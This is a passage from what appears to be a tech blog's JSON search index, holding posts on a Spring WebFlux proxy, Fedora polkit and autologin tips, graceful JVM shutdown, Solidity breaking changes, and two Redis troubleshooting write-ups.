class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003einit\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003ewebClient\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eWebClient\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ebuilder\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"na\"\u003efilter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eerrorHandlingFilter\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eclientConnector\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eReactorClientHttpConnector\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e())).\u003c/span\u003e\u003cspan class=\"na\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHttpClient\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eHttpClient\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttpClient\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHttpClient\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003etcpConfiguration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etcpClient\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                        \u003c/span\u003e\u003cspan class=\"n\"\u003etcpClient\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eproxy\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eproxy\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproxy\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003etype\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eProxyProvider\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eProxy\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eHTTP\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"na\"\u003ehost\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;127.0.0.1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"na\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e8888\u003c/span\u003e\u003cspan class=\"p\"\u003e)));\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttpClient\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Adding HTTP Proxy to Spring WebFlux Client"},{"content":"This is a followup post to ealier post on Fedora\nMount folders without requiring passwords Usually, mount folder permission is only available to root user. In order to allow this for normal user, we need to add a policy rule for polkit\nsudo vi /etc/polkit-1/localauthority/50-local.d/10-mount-without-password.pkla [storage group mount override] Identity=unix-user:madhur Action=org.freedesktop.udisks2.filesystem-mount;org.freedesktop.udisks2.filesystem-mount-system ResultAny=yes ResultInactive=yes ResultActive=yes Similarly, if you want to allow normal user to manage systemd units /etc/polkit-1/localauthority/50-local.d/service-auth.pkla [Allow yourname to start/stop/restart services] Identity=unix-user:madhur Action=org.freedesktop.systemd1.manage-units ResultActive=yes Set a default font in Fedora Linux \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;match target=\u0026#34;pattern\u0026#34;\u0026gt; \u0026lt;test name=\u0026#34;family\u0026#34; qual=\u0026#34;any\u0026#34;\u0026gt; \u0026lt;string\u0026gt;monospace\u0026lt;/string\u0026gt; \u0026lt;/test\u0026gt; \u0026lt;edit binding=\u0026#34;strong\u0026#34; mode=\u0026#34;prepend\u0026#34; name=\u0026#34;family\u0026#34;\u0026gt; \u0026lt;string\u0026gt;JetBrains Mono\u0026lt;/string\u0026gt; \u0026lt;/edit\u0026gt; \u0026lt;/match\u0026gt; Change the CPU governor policy for maximum performance echo \u0026#34;performance\u0026#34; | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor Auto login user through LightDM /etc/lightdm/lightdm.conf.d/12-autologin.conf [SeatDefaults] autologin-user=madhur ","permalink":"https://madhur.co.in/blog/2022/08/06/fedora-tips.html","summary":"\u003cp\u003eThis is a followup post to \u003ca href=\"/blog/2022/01/23/fedora-centos-tips-tricks.html\"\u003eealier post on Fedora\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eMount folders without requiring passwords\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eUsually, mount folder permission is only available to \u003ccode\u003eroot\u003c/code\u003e user. In order to allow this for normal user, we need to add a policy rule for\n\u003ca href=\"https://en.wikipedia.org/wiki/Polkit\"\u003epolkit\u003c/a\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esudo vi /etc/polkit-1/localauthority/50-local.d/10-mount-without-password.pkla\n\u003c/code\u003e\u003c/pre\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-ini\" data-lang=\"ini\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003e[storage group mount override] \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003eIdentity\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003eunix-user:madhur \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003eAction\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003eorg.freedesktop.udisks2.filesystem-mount;org.freedesktop.udisks2.filesystem-mount-system \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003eResultAny\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003eyes \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003eResultInactive\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003eyes \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003eResultActive\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003eyes\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eSimilarly, if you want to allow normal user to manage \u003ccode\u003esystemd\u003c/code\u003e units\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/etc/polkit-1/localauthority/50-local.d/service-auth.pkla\n\u003c/code\u003e\u003c/pre\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-ini\" data-lang=\"ini\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003e[Allow yourname to start/stop/restart services]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003eIdentity\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003eunix-user:madhur \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003eAction\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003eorg.freedesktop.systemd1.manage-units \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003eResultActive\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003eyes\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eSet a default font in Fedora Linux\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;match\u003c/span\u003e \u003cspan class=\"na\"\u003etarget=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;pattern\u0026#34;\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   \u003cspan class=\"nt\"\u003e\u0026lt;test\u003c/span\u003e \u003cspan class=\"na\"\u003ename=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;family\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003equal=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;any\u0026#34;\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nt\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003emonospace\u003cspan class=\"nt\"\u003e\u0026lt;/string\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   \u003cspan class=\"nt\"\u003e\u0026lt;/test\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   \u003cspan class=\"nt\"\u003e\u0026lt;edit\u003c/span\u003e \u003cspan class=\"na\"\u003ebinding=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;strong\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003emode=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;prepend\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003ename=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;family\u0026#34;\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nt\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003eJetBrains Mono\u003cspan class=\"nt\"\u003e\u0026lt;/string\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   \u003cspan class=\"nt\"\u003e\u0026lt;/edit\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;/match\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eChange the \u003ca href=\"https://wiki.archlinux.org/title/CPU_frequency_scaling\"\u003eCPU governor policy\u003c/a\u003e for maximum performance\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eecho \u0026#34;performance\u0026#34; | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor\n\u003c/code\u003e\u003c/pre\u003e\u003cul\u003e\n\u003cli\u003eAuto login user through \u003ca href=\"https://wiki.archlinux.org/title/LightDM#Greeter\"\u003eLightDM\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/etc/lightdm/lightdm.conf.d/12-autologin.conf\n\u003c/code\u003e\u003c/pre\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-ini\" data-lang=\"ini\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003e[SeatDefaults] \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003eautologin-user\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003emadhur\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Fedora Tips \u0026 Tricks"},{"content":"When writing applications for JVM which are long running such as application servers and web servers, it is very important to make sure that they shut down cleanly as and when required.\nThis is very important in cloud computing, as cloud technologies such as Kubernetes might kill the pod due to low resources or as part of scale up / scale down processes.\nSimilarly, applications deployed on VMs in AWS, Azure or GCE can be terminated due to underlying hardware issues.\nThese technologies typically send a SIGTERM signal to the running task to ensure it is able to clean up gracefully and finally after some threshold, the process is sent a SIGKILL signal to terminate the container.\nIn JVM, we can register a hook to be executed whenever processes recieves SIGTERM signal\nRuntime.getRuntime().addShutdownHook(new Thread() { public void run() { // shutdown gracefully } }); When running containerized applications, it is important to ensure that whenever a pod / container is sent SIGTERM, our JVM process recieves it.\nThis can be done by ensuring that our JVM process is the root process inside the container.\nFor example when writing Dockerfile for our container:\nENTRYPOINT [\u0026#34;java\u0026#34;,\u0026#34;-jar\u0026#34;,\u0026#34;/message-server-1.0.0.jar\u0026#34;] Will ensure that our java process is the root process.\nThere could be few instances, where the entry point needs to execute some complex logic upon startup, such as when using shell scripts as follows:\nENTRYPOINT [\u0026#34;/bin/sh\u0026#34;,\u0026#34;/startup.sh\u0026#34;] In those cases, it is important to use exec\nexec replaces the current program in the current process, without forking a new process, ensuring that our java program remains the root process in the container.\nexec java -jar message-server-1.0.0.jar Quick tip: How do we know if our process recieved any signal?\nWe can monitor the signals sent to any process through strace as follows\n$ strace -e \u0026#39;trace=!all\u0026#39; -p 128278 strace: Process 128278 attached --- SIGTERM {si_signo=SIGTERM, si_code=SI_USER, si_pid=103440, si_uid=1000} --- ","permalink":"https://madhur.co.in/blog/2022/07/10/gracefully-shutting-down-jvm-applications.html","summary":"\u003cp\u003eWhen writing applications for JVM which are long running such as application servers and web servers, it is very important to make sure that they shut down cleanly as and when required.\u003c/p\u003e\n\u003cp\u003eThis is very important in cloud computing, as cloud technologies such as Kubernetes might kill the pod due to low resources or as part of scale up  / scale down processes.\u003c/p\u003e\n\u003cp\u003eSimilarly, applications deployed on VMs in AWS, Azure or GCE can be terminated due to underlying hardware issues.\u003c/p\u003e","title":"Gracefully shutting down JVM applications"},{"content":"Web3 development scene is changing very fast with lot of breaking changes getting introduced every few months. This makes it very difficult to follow any online tutorial which was written few months back.\nThis post itself will become obsolete after few months. As of this writing, I am using Solidity compiler version 0.8.15\npragma solidity ^0.8.4; In this post, I will outline few of the breaking changes I have encountered when working with web3 and ethereum:\naddress and address payable are two different data types. address public manager; address payable[] public players; You can call transfer and send function only on address payable and not on address.\nCompiling the solidity contract Compiling the solidity contract has changed in recent versions.\nconst path = require(\u0026#34;path\u0026#34;); const fs = require(\u0026#34;fs\u0026#34;); const solc = require(\u0026#34;solc\u0026#34;); const inboxPath = path.resolve(__dirname, \u0026#34;contracts\u0026#34;, \u0026#34;Lottery.sol\u0026#34;); const source = fs.readFileSync(inboxPath, \u0026#34;utf8\u0026#34;); var input = { language: \u0026#34;Solidity\u0026#34;, sources: { \u0026#34;Lottery.sol\u0026#34;: { content: source, }, }, settings: { outputSelection: { \u0026#34;*\u0026#34;: { \u0026#34;*\u0026#34;: [\u0026#34;*\u0026#34;], }, }, }, }; var output = JSON.parse(solc.compile(JSON.stringify(input))); module.exports.abi = output.contracts[\u0026#34;Lottery.sol\u0026#34;][\u0026#34;Lottery\u0026#34;].abi; module.exports.bytecode = output.contracts[\u0026#34;Lottery.sol\u0026#34;][\u0026#34;Lottery\u0026#34;].evm.bytecode.object; In order to deploy this contract:\nawait new web3.eth.Contract(abi).deploy({data: bytecode, arguments: []}) keccak256 now takes only one argument function random() public view returns (uint) { return uint(keccak256(block.difficulty, block.timestamp, players)); } to\nfunction random() public view returns (uint) { return uint(keccak256(abi.encodePacked(block.difficulty, block.timestamp, players))); } The constructor function is now written with name constructor instead of function with name of contract constructor() { manager = msg.sender; } ","permalink":"https://madhur.co.in/blog/2022/06/19/web3-ethereum-development-breaking-changes.html","summary":"\u003cp\u003eWeb3 development scene is changing very fast with lot of breaking changes getting introduced every few months.\nThis makes it very difficult to follow any online tutorial which was written few months back.\u003c/p\u003e\n\u003cp\u003eThis post itself will become obsolete after few months. As of this writing, I am using Solidity compiler version 0.8.15\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epragma solidity ^0.8.4;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eIn this post, I will outline few of the breaking changes I have encountered when working with web3 and ethereum:\u003c/p\u003e","title":"Web3 ethereum development breaking changes"},{"content":"We noticed that one of our production servers had an ever increasing memory usage increase. The memory increase was slow though.\nIt looked like some of the keys didn\u0026rsquo;t had the TTL in our redis servers. We wanted to find out how.\nOne of the standard ways is running the following command:\nredis-cli keys \u0026#34;*\u0026#34; | while read LINE ; do TTL=`redis-cli ttl \u0026#34;$LINE\u0026#34;`; if [ $TTL -eq -1 ]; then echo \u0026#34;$LINE\u0026#34;; fi; done; However, running this command can have disastrous consequences on production server as keys is a blocking command and if you have millions of keys, it can make other requests to your redis server block.\nThere is another one SCAN which doesn\u0026rsquo;t block\nredis-cli --scan | while read LINE ; do TTL=`redis-cli ttl \u0026#34;$LINE\u0026#34;`; if [ $TTL -eq -1 ]; then echo \u0026#34;$LINE\u0026#34;; fi; done; However, running these commands was inefficient for us we had millions of keys to analyze.\nThe solution came through Redis RDB tools\nThis tool can dump the keys and related information such as TTL, value, types in a csv file.\nIt can be installed through\npip install rdbtools python-lzf And then run the following python script to point it to your rdb file. (rdb file can be generated by running bgsave command if the persistence is off.)\nfrom rdbtools import RdbParser, RdbCallback from rdbtools.encodehelpers import bytes_to_unicode class MyCallback(RdbCallback): \u0026#39;\u0026#39;\u0026#39; Simple example to show how callback works. See RdbCallback for all available callback methods. See JsonCallback for a concrete example \u0026#39;\u0026#39;\u0026#39; def __init__(self): super(MyCallback, self).__init__(string_escape=None) def encode_key(self, key): return bytes_to_unicode(key, self._escape, skip_printable=True) def encode_value(self, val): return bytes_to_unicode(val, self._escape) def set(self, key, value, expiry, info): print(\u0026#39;%s = %s\u0026#39; % (self.encode_key(key), self.encode_value(value))) def hset(self, key, field, value): print(\u0026#39;%s.%s = %s\u0026#39; % (self.encode_key(key), self.encode_key(field), self.encode_value(value))) def sadd(self, key, member): print(\u0026#39;%s has {%s}\u0026#39; % (self.encode_key(key), self.encode_value(member))) def rpush(self, key, value): print(\u0026#39;%s has [%s]\u0026#39; % (self.encode_key(key), self.encode_value(value))) def zadd(self, key, score, member): print(\u0026#39;%s has {%s : %s}\u0026#39; % (str(key), str(member), str(score))) callback = MyCallback() parser = RdbParser(callback) parser.parse(\u0026#39;./dump.rdb\u0026#39;)% ","permalink":"https://madhur.co.in/blog/2022/06/04/find-non-expiring-keys-redis.html","summary":"\u003cp\u003eWe noticed that one of our production servers had an ever increasing memory usage increase. The memory increase was slow though.\u003c/p\u003e\n\u003cp\u003eIt looked like some of the keys didn\u0026rsquo;t had the TTL in our redis servers. We wanted to find out how.\u003c/p\u003e\n\u003cp\u003eOne of the standard ways is running the following command:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eredis-cli keys  \u0026#34;*\u0026#34; | while read LINE ; do TTL=`redis-cli ttl \u0026#34;$LINE\u0026#34;`; if [ $TTL -eq  -1 ]; then echo \u0026#34;$LINE\u0026#34;; fi; done;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eHowever, running this command can have disastrous consequences on production server as \u003ccode\u003ekeys\u003c/code\u003e is a blocking command and if you have millions of keys, it can make other requests to your redis server block.\u003c/p\u003e","title":"Find non-expiring keys in Redis"},{"content":"Recently, we noticed a production issue where some of the redis slave nodes were repeatedly being kicked out of the cluster. This was interesting since that redis cluster had been running without any issues for almost 3 years.\nThe logs were repeatedly filled with slave trying to get full sync from master nodes again and again.\n# Connection with master lost. * Caching the disconnected master state. * Connecting to MASTER x.x.x.x:6379 * MASTER \u0026lt;-\u0026gt; SLAVE sync started * Non blocking connect for SYNC fired the event. * Master replied to PING, replication can continue... * Trying a partial resynchronization (request 7cbefe20e13fffe4deddc4191479e95a2e9c39e5:2723884887862). * Full resync from master: 7cbefe20e13fffe4deddc4191479e95a2e9c39e5:2724002738232 * Discarding previously cached master state. * MASTER \u0026lt;-\u0026gt; SLAVE sync: receiving 1438631551 bytes from master # I/O error trying to sync with MASTER: connection lost * Connecting to MASTER x.x.x.x:6379 * MASTER \u0026lt;-\u0026gt; SLAVE sync started * Non blocking connect for SYNC fired the event. * Master replied to PING, replication can continue... * Partial resynchronization not possible (no cached master) * Full resync from master: 7cbefe20e13fffe4deddc4191479e95a2e9c39e5:2724138480914 * MASTER \u0026lt;-\u0026gt; SLAVE sync: receiving 1439249094 bytes from master # I/O error trying to sync with MASTER: connection lost * Connecting to MASTER x.x.x.x:6379 * MASTER \u0026lt;-\u0026gt; SLAVE sync started * Non blocking connect for SYNC fired the event. * Master replied to PING, replication can continue... * FAIL message received from 485f5d069279fe4690faa4e92a121d85c894050e about 680a7c6ae885094d806206522ce639e3527e9dbf # Cluster state changed: fail * Partial resynchronization not possible (no cached master) * Full resync from master: 7cbefe20e13fffe4deddc4191479e95a2e9c39e5:2724269765637 # Cluster state changed: ok * Clear FAIL state for node 680a7c6ae885094d806206522ce639e3527e9dbf: master without slots is reachable again. * MASTER \u0026lt;-\u0026gt; SLAVE sync: receiving 1440022343 bytes from master # I/O error trying to sync with MASTER: connection lost * Connecting to MASTER x.x.x.x:6379 * MASTER \u0026lt;-\u0026gt; SLAVE sync started * Non blocking connect for SYNC fired the event. * Master replied to PING, replication can continue... * Partial resynchronization not possible (no cached master) * Full resync from master: 7cbefe20e13fffe4deddc4191479e95a2e9c39e5:2724405468825 * MASTER \u0026lt;-\u0026gt; SLAVE sync: receiving 1440902610 bytes from master # I/O error trying to sync with MASTER: connection lost The offending nodes had lower client-output-buffer-limit value (256mb) which caused the replication process to go into infinite loop. The reason for this is documented in Redis blog: The Endless Redis Replication Loop: What, Why and How to Solve It\nWe bumped up the value to recommended 512mb value and problem went away.\nThe question is, why did the slave disconnect from the master in the first place?\nWell, that will be covered in the next post.\n","permalink":"https://madhur.co.in/blog/2022/05/15/redis-node-moving-out-cluster-repeatedly.html","summary":"\u003cp\u003eRecently, we noticed a production issue where some of the redis slave nodes were repeatedly being kicked out of the cluster. This was interesting since that redis cluster had been running without any issues for almost 3  years.\u003c/p\u003e\n\u003cp\u003eThe logs were repeatedly filled with slave trying to get full sync from master nodes again and again.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# Connection with master lost.\n* Caching the disconnected master state.\n* Connecting to MASTER x.x.x.x:6379\n* MASTER \u0026lt;-\u0026gt; SLAVE sync started\n* Non blocking connect for SYNC fired the event.\n* Master replied to PING, replication can continue...\n* Trying a partial resynchronization (request 7cbefe20e13fffe4deddc4191479e95a2e9c39e5:2723884887862).\n* Full resync from master: 7cbefe20e13fffe4deddc4191479e95a2e9c39e5:2724002738232\n* Discarding previously cached master state.\n* MASTER \u0026lt;-\u0026gt; SLAVE sync: receiving 1438631551 bytes from master\n# I/O error trying to sync with MASTER: connection lost\n* Connecting to MASTER x.x.x.x:6379\n* MASTER \u0026lt;-\u0026gt; SLAVE sync started\n* Non blocking connect for SYNC fired the event.\n* Master replied to PING, replication can continue...\n* Partial resynchronization not possible (no cached master)\n* Full resync from master: 